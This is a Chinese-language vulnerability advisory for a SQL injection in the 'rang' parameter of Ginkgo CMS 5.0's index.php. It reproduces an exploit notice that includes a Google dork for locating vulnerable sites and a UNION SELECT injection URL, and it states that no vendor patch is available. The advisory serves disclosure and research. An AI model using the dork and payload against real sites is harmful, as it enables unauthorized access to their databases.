发布日期：2013-08-12
更新日期：2013-08-13

受影响系统：

Ginkgo CMS Ginkgo CMS 5.0

描述：

---

Ginkgo CMS是一款内容管理系统。

Ginkgo CMS 5.0没有正确过滤 index.php 的 "rang" 参数值，即用在SQL查询中，通过注入任意SQL代码，可被利用操作SQL查询。

<*来源：Raw-x
  
  链接：http://secunia.com/advisories/54485/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

__               ___   ________   __                       __           ____    __  __    
/\ \             /\_ \ /\_____  \ /\ \                     /\ \         /\  _`\ /\ \/\ \    
\ \ \      __  __\//\ \\/____//'/'\ \ \___      __      ___\ \ \/'\     \ \ \L\ \ \ \ \ \  
\ \ \  __/\ \/\ \ \ \ \    //'/'  \ \  _ `\  /'__`\   /'___\ \ , <      \ \ ,  /\ \ \ \ \  
  \ \ \L\ \ \ \_\ \ \_\ \_ //'/'___ \ \ \ \ \/\ \L\.\_/\ \__/\ \ \\`\   __\ \ \\ \\ \ \_\ \
   \ \____/\ \____/ /\____\/\_______\\ \_\ \_\ \__/.\_\ \____\\ \_\ \_\/\_\\ \_\ \_\ \_____\
    \/___/  \/___/  \/____/\/_______/ \/_/\/_/\/__/\/_/\/____/ \/_/\/_/\/_/ \/_/\/ /\/_____/

############################################################################################
# Exploit Title   : Ginkgo CMS SQL injection                                               #
# Date            : 31 July 2013                                                           #      
# Exploit Author  : Raw-x                                                                  #
# Site            : http://www.ginkgo-cms.com/                                             #  
# Tested on       : Linux                                                                  #    
############################################################################################

Dork:

~~~ inurl:"index.php?rang=" intext:"Ginkgo CMS" ~~~

Examples:

http://server/index.php?rang=5'/**/div/**/0/**/UNION/**/SELECT/**/1,2,3,4,5-- -


############################################################################################
#                       Thanks to:   lulzhack.ru | zentrixplus.net                         #
############################################################################################

建议：

---

厂商补丁：

Ginkgo CMS
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ginkgo-cms.com/

浏览次数：4069
严重程度：0（网友投票）